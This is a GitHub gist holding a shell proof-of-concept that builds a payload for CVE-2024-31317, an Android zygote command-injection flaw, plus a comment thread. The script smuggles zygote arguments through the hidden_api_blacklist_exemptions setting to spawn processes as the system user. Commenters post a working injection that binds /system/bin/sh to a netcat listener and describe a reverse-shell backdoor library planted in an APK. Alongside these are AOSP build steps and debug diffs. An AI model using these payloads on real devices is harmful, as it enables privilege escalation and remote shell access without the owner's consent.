Skip to content

Instantly share code, notes, and snippets.

@rabits
Created July 13, 2024 17:27
Show Gist options
  • Select an option

  • Save rabits/ecae96c256cb25726b2bb92c73f9c081 to your computer and use it in GitHub Desktop.

Select an option

Save rabits/ecae96c256cb25726b2bb92c73f9c081 to your computer and use it in GitHub Desktop.
CVE-2024-31317 PoC 2
#!/bin/sh
# PoC prepares the payload of commands to execute through the zygote injection CVE-2024-31317:
# https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html
#
# USAGE (android 13, with pre-13 use 12200 instead of 32768):
# host$ adb push payload.sh /sdcard/
# host$ adb shell
# shell$ logcat -c; settings put global hidden_api_blacklist_exemptions "$(sh /sdcard/payload.sh 8192 32768 \
# --runtime-args --setuid=1000 --setgid=1000 --runtime-flags=16787456 --mount-external-default --target-sdk-version=22 \
# --setgroups=3003 --nice-name=com.android.settings --seinfo=platform:privapp:targetSdkVersion=33:complete \
# --instruction-set=x86 --app-data-dir=/data/user/0/jackpal.androidterm --package-name=jackpal.androidterm --is-top-app \
# android.app.ActivityThread seq=40)"; logcat
# Getting the values from parameters
buffer_size=$1
shift
zygote_read_abort_size=$1
shift
zygote_args_len=$#
# What's predefined in the executed command when execute `settings put global hidden_api_blacklist_exemptions <val>`
prefix="6 --set-api-denylist-exemptions "
prefix_len=$(echo -n "$prefix" | wc -c)
add_chars=$(($buffer_size - $prefix_len + 2))
# For tests: echo the prefix, delete from prod:
#echo "6\n--set-api-denylist-exemptions"
# Making pad to fill the first buffer and amount should go in the next buffer
payload=$(printf "\n\n\n\n\n%${add_chars}s" $zygote_args_len | tr ' ' A)
# Printing each zygote argument to run
for arg in "$@"; do
payload="$payload\n$(echo "$arg")"
done
echo "$payload"
payload_len=$(echo "$payload" | wc -c)
echo -n ,,,,
add_chars=$(($buffer_size*2 - ($prefix_len + $payload_len) - 1))
printf "%${add_chars}s" 'X' | tr ' ' 'X'
echo E
@rabits
Copy link
Author

rabits commented Sep 21, 2024

Hi @wereii , yeah you right - it will not show the calls by default - I've built android 13 from AOSP and ran it in emulator from android studio. Here is a memo that will allow to do the same:

  1. Create android13 dir on the disk with >150GB of free space:
    host$ mkdir android13
    
  2. Run docker with mount of the parent folder as workspace:
    host$ docker run --rm -it -v "$PWD:/ws" -w /ws ubuntu:20.04
    
  3. Install required tools in docker container:
    docker$ apt update ; apt-get install -y tzdata git-core gnupg flex bison apt-utils build-essential zip curl \
       zlib1g-dev liblz-dev gcc-multilib g++-multilib libc6-dev-i386 libncurses5 lib32ncurses5-dev \
       x11proto-core-dev libx11-dev lib32z-dev libgl1-mesa-dev libxml2-utils xsltproc unzip \
       fontconfig uuid uuid-dev liblzo2-2 liblzo2-dev lzop u-boot-tools mtd-utils \
       android-sdk-libsparse-utils android-sdk-ext4-utils device-tree-compiler gdisk m4 make \
       libssl-dev libghc-gnutls-dev swig libdw-dev dwarves python bc cpio tar lz4 zstd rsync \
       ninja-build clang android-tools-adb gperf software-properties-common sshpass \
       ssh-askpass xz-utils kpartx vim screen sudo wget locales openjdk-8-jdk python3 kmod cgpt \
       bsdmainutils lzip hdparm cmake python3-protobuf
    
  4. Set git user & email:
    docker$ git config --global user.email "build@example.com" ; git config --global user.name "Your Name"
    
  5. Get repo tool from: https://gerrit.googlesource.com/git-repo/+/refs/heads/master/README.md
  6. Go into created dir and download the initial repository (branches available here: https://android.googlesource.com/platform/manifest/+refs ):
    docker$ cd android13 ; repo init -u https://android.googlesource.com/platform/manifest -b android-13.0.0_r1
    
  7. Sync the repository (will take ~130GB and ~1hr):
    docker$ repo sync -c -j$(nproc) --no-tags --no-clone-bundle
    
  8. Run envsetup for AOSP:
    docker$ source build/envsetup.sh
    
  9. Run lunch to setup the target for AOSP:
    docker$ lunch aosp_cf_arm64_phone-userdebug
    
  10. Make the system image:
    docker$ make emu_img_zip -j$(nproc)
    

But overall there should be some manuals on how to make it work in emulator... After that, when you've build default image and try to run it in emulator ( https://medium.com/@imitiyaz125/build-aosp-emulator-image-fd4ae86a39cc ) - you can modify the sources and rebuild the image. Here is my changes I used to get into zygote logs and figure out the args:

project frameworks/base/
diff --git a/core/jni/com_android_internal_os_Zygote.cpp b/core/jni/com_android_internal_os_Zygote.cpp
index 21bbac0b0a7d..5d8e644fc0d2 100644
--- a/core/jni/com_android_internal_os_Zygote.cpp
+++ b/core/jni/com_android_internal_os_Zygote.cpp
@@ -1750,6 +1750,8 @@ static void SpecializeCommon(JNIEnv* env, uid_t uid, gid_t gid, jintArray gids,

     const char* se_info_ptr = se_info.has_value() ? se_info.value().c_str() : nullptr;

+    ALOGI("!!!DEBUG4: Setting selinux_android_setcontext: %d %d %s", uid, is_system_server, nice_name_ptr);
+
     if (selinux_android_setcontext(uid, is_system_server, se_info_ptr, nice_name_ptr) == -1) {
         fail_fn(CREATE_ERROR("selinux_android_setcontext(%d, %d, \"%s\", \"%s\") failed", uid,
                              is_system_server, se_info_ptr, nice_name_ptr));
@@ -1783,6 +1785,8 @@ static void SpecializeCommon(JNIEnv* env, uid_t uid, gid_t gid, jintArray gids,
         initUnsolSocketToSystemServer();
     }

+    ALOGI("!!!DEBUG5: CallStaticVoidMethod: %s", nice_name_ptr);
+
     env->CallStaticVoidMethod(gZygoteClass, gCallPostForkChildHooks, runtime_flags,
                               is_system_server, is_child_zygote, managed_instruction_set);

@@ -2354,7 +2358,8 @@ static void com_android_internal_os_Zygote_nativeSpecializeAppProcess(
         jobjectArray allowlisted_data_info_list, jboolean mount_data_dirs,
         jboolean mount_storage_dirs) {
     jlong capabilities = CalculateCapabilities(env, uid, gid, gids, is_child_zygote);
-
+
+    ALOGI("!!!DEBUG4: In com_android_internal_os_Zygote_nativeSpecializeAppProcess: %d", uid);
     SpecializeCommon(env, uid, gid, gids, runtime_flags, rlimits, capabilities, capabilities,
                      mount_external, se_info, nice_name, false, is_child_zygote == JNI_TRUE,
                      instruction_set, app_data_dir, is_top_app == JNI_TRUE, pkg_data_info_list,
diff --git a/core/jni/com_android_internal_os_ZygoteCommandBuffer.cpp b/core/jni/com_android_internal_os_ZygoteCommandBuffer.cpp
index add645dee718..ff607b6350dd 100644
--- a/core/jni/com_android_internal_os_ZygoteCommandBuffer.cpp
+++ b/core/jni/com_android_internal_os_ZygoteCommandBuffer.cpp
@@ -136,6 +136,15 @@ class NativeCommandBuffer {
     }
     char* countString = line.value().first;  // Newline terminated.
     long nArgs = atol(countString);
+    ALOGD("!!!DEBUG '%s'", line.value().first);
+    if (strlen(line.value().first) > 1000) {
+           // Print the rest of the data
+           ALOGD("!!!DEBUG_cont '%s'", &line.value().first[1000]);
+    }
+    if (strlen(line.value().first) > 2000) {
+           // Print the rest of the data
+           ALOGD("!!!DEBUG_cont '%s'", &line.value().first[2000]);
+    }
     if (nArgs <= 0 || nArgs >= MAX_COMMAND_BYTES / 2) {
       fail_fn(CREATE_ERROR("Unreasonable argument count %ld", nArgs));
     }
@@ -174,12 +183,19 @@ class NativeCommandBuffer {
     bool saw_setuid = false, saw_setgid = false;
     bool saw_runtime_args = false;

+    char debug_line[2048];
     while (mLinesLeft > 0) {
       auto read_result = readLine(fail_fn);
       if (!read_result.has_value()) {
         return false;
       }
       auto [arg_start, arg_end] = read_result.value();
+      debug_len = arg_end-arg_start>2047 ? debug_len = 2047 : arg_end-arg_start;
+      if (debug_len > 1) {
+        strncpy(debug_line,arg_start,debug_len);
+       debug_line[debug_len] = '\0';
+        ALOGD("!!!DEBUG7: Left lines to read: %d, '%s'", mLinesLeft, debug_line);
+      }
       if (arg_end - arg_start == RA_LENGTH
           && strncmp(arg_start, RUNTIME_ARGS, RA_LENGTH) == 0) {
         saw_runtime_args = true;
diff --git a/services/core/java/com/android/server/am/ActivityManagerService.java b/services/core/java/com/android/server/am/ActivityManagerService.java
index a78c64b6538d..296287366ed8 100644
--- a/services/core/java/com/android/server/am/ActivityManagerService.java
+++ b/services/core/java/com/android/server/am/ActivityManagerService.java
@@ -2202,6 +2202,7 @@ public class ActivityManagerService extends IActivityManager.Stub
                     Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS);
             if (!TextUtils.equals(exemptions, mExemptionsStr)) {
                 mExemptionsStr = exemptions;
+                Slog.i(TAG, "!!!DEBUG2: passing exceptions string: '"+mExemptionsStr+"'");
                 if ("*".equals(exemptions)) {
                     mBlacklistDisabled = true;
                     mExemptions = Collections.emptyList();
@@ -2211,6 +2212,7 @@ public class ActivityManagerService extends IActivityManager.Stub
                             ? Collections.emptyList()
                             : Arrays.asList(exemptions.split(","));
                 }
+                Slog.i(TAG, "!!!DEBUG3: passing exceptions list:"+mExemptions);
                 if (!ZYGOTE_PROCESS.setApiDenylistExemptions(mExemptions)) {
                   Slog.e(TAG, "Failed to set API blacklist exemptions!");
                   // leave mExemptionsStr as is, so we don't try to send the same list again.
@@ -4680,6 +4682,7 @@ public class ActivityManagerService extends IActivityManager.Stub
         } else {
             app = null;
         }
+        Slog.w(TAG, "!!!DEBUG8: binding application: " + String(pid) + " app: " + app);

         // It's possible that process called attachApplication before we got a chance to
         // update the internal state.

I hope that will help.

@wereii
Copy link

wereii commented Sep 21, 2024

@rabits Thanks for the extensive answer! Will see if I can get it to work.

@encryptededdy
Copy link

@diabl0w are you willing to share some details on how you achieved system shell? I'd imagine it skips quite a bit of the complexity of the full app launch, but unfortunately I haven't had much success. If you prefer telegram you can find me with the same username.

@TheDucker1
Copy link

TheDucker1 commented Dec 24, 2024

you could achieve system shell by installing an apk with a backdoor ELF lib.so that spawn a reverse shell and connect back to you

just compile a program, rename it to some-lib-name.so, throw it in jniLibs in android studio, build and install that apk so it would be placed in /data/app/some-random-string-in-android/package-name-other-randomstring/lib/your-device-architect/some-lib-name.so, you could get the random string by using pm list packages -f package-name in adb

with that reverse shell use the payload.sh to generate appropriate --uid, --seinfo, and using --invoke-with that point directly to some-lib-name.so, you would get a shell for such uid

@ybtag
Copy link

ybtag commented Jan 13, 2025

@xiaomi-light
Copy link

Is the count of commas at the end always 4 or multiplicatively related between buffer size and cutoff size?

@TheDucker1
Copy link

TheDucker1 commented Feb 23, 2025

Is the count of commas at the end always 4 or multiplicatively related between buffer size and cutoff size?

The commas are there to split the entries, `arg count' = number of entries + 1, you could see their usage in the original blog

To make this outcome more likely, we can insert a large number of commas at the end of our setting value, causing maybeSetApiDenylistExemptions() to spend time looping after the first write but before the second. Those commas also increase the legitimate command’s argument count, but that’s not a problem as long as we ensure the first 8192 bytes contain at least that many newlines.

You could build the payload with the proof-of-concept section in the original blog (https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html#h-appendix-proof-of-concept)

@yash-srivastava
Copy link

I was trying to run a service using this exploit which would have some method to perform privileged functions and then return the response. This service could be then called by a custom non-privileged application during runtime achieve privilege function calls and show the result on the UI. Is anyone able to achieve this or anything similar?

@yash-srivastava
Copy link

Following this - https://blog.flanker017.me/cve-2024-31317/
I tried to do something like this

settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
18
--runtime-args
--setuid=1000
--setgid=1000
--runtime-flags=2049
--mount-external-full
--target-sdk-version=29
--setgroups=3003
--nice-name=hello_world_zygote
--seinfo=platform:system_app:targetSdkVersion=29:complete
--instruction-set=arm
--app-data-dir=/data/
--package-name=com.android.settings
com.android.internal.os.WrapperInit
0
29
-cp
/data/local/tmp/classes.dex
com.test.user.helloworld.WrapperCustom
"

But it is throwing Already Cached excpetion

java.lang.IllegalStateException: Already cached. at android.app.ApplicationLoaders.createAndCacheNonBootclasspathSystemClassLoaders(ApplicationLoaders.java:148) at com.android.internal.os.ZygoteInit.cacheNonBootClasspathClassLoaders(ZygoteInit.java:374) at com.android.internal.os.ZygoteInit.preload(ZygoteInit.java:144) at com.android.internal.os.WrapperInit.main(WrapperInit.java:83) at java.lang.reflect.Method.invoke(Native Method) at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:492) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:930)

@264312431
Copy link

@yash-srivastava
system uid has no access to /data/local/tmp

@everyone

  • has anyone solved the problem of unsyncing the zygote wire protocol on Android 11 or 10?
  • has anyone gotten the 'add JDWP Flag on the fly' method to work with the full startup (not --invoke-with)?

@bibikalka1
Copy link

@rabits

So there is a nicely working exploit out there that works below Android 12:
https://xdaforums.com/t/system-user-fireos7-os8-all-fire-cubes-sticks-televisions-tablets.4759215/

settings put global hidden_api_blacklist_exemptions "LClass1;->method1( 10 --runtime-args --setuid=1000 --setgid=1000 --runtime-flags=2049 --mount-external-full --setgroups=3003 --nice-name=runnetcat --seinfo=platform:targetSdkVersion=28:complete --invoke-with toybox nc -s 127.0.0.1 -p 4321 -L /system/bin/sh -l; " settings delete global hidden_api_blacklist_exemptions sleep 2 toybox nc localhost 4321

I tried to wrap this with your script after some edits, and attempted to use it on Android12. I dump hidden_api_blacklist_exemptions , it seems to have the same structure as the lower Android, but with a bunch of padding. Below is the subset of that. Anyway, A12 immediately restarts zygote, and re-inits everything. If I don't have the delete command right after - it bootloops until I manage to delete hidden_api_blacklist_exemptions.. I don't lose adb access as it's bootlooping, so there is some control. Ideas?

Here is a piece of the padded hidden_api_blacklist_exemptions after your modded script:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALClass1;->method1( 10 --runtime-args --setuid=1000 --setgid=1000 --runtime-flags=2049 --mount-external-full --setgroups=3003 --nice-name=runnetcat --seinfo=platform:targetSdkVersion=28:complete --invoke-with toybox nc -s 127.0.0.1 -p 4321 -L /system/bin/sh -l; ,,,,XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

@rabits
Copy link
Author

rabits commented Sep 15, 2025

Hi @bibikalka1 , great to see this is helping someone) Unfortunately I'm stuck a long ago with making this PoC work for Android 13, no matter how hard I've red-eyed the original papers...

@bibikalka1
Copy link

@rabits

So are you saying that this PoC2 never worked on your virtual A13?

It just seems to crash zygote, and nothing more ...

@rabits
Copy link
Author

rabits commented Sep 15, 2025

On Android >11 there are additional measures implemented which needs to be mitigated. It crashes zygote if done improperly (not correct commands or padding - you can find that if will check zygote crash output). Maximum I was able to achieve is to execute command, then it passed into zygote, but was never able to properly execute a second one to steal it's pid. I suppose precise timing & control is needed, or I'm missing something crucial. And yeah, every execution of PoC I had to reboot the device, otherwise zygote stays in this corrupted state...

@bibikalka1
Copy link

@rabits

Well, if I can ensure that it's the same commands as A11 that are known to work, what is missing in A12/13? Can the padding be excessive?

@bibikalka1
Copy link

@rabits

I guess you were not able to implement this to the letter?
https://blog.flanker017.me/cve-2024-31317/

@bibikalka1
Copy link

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment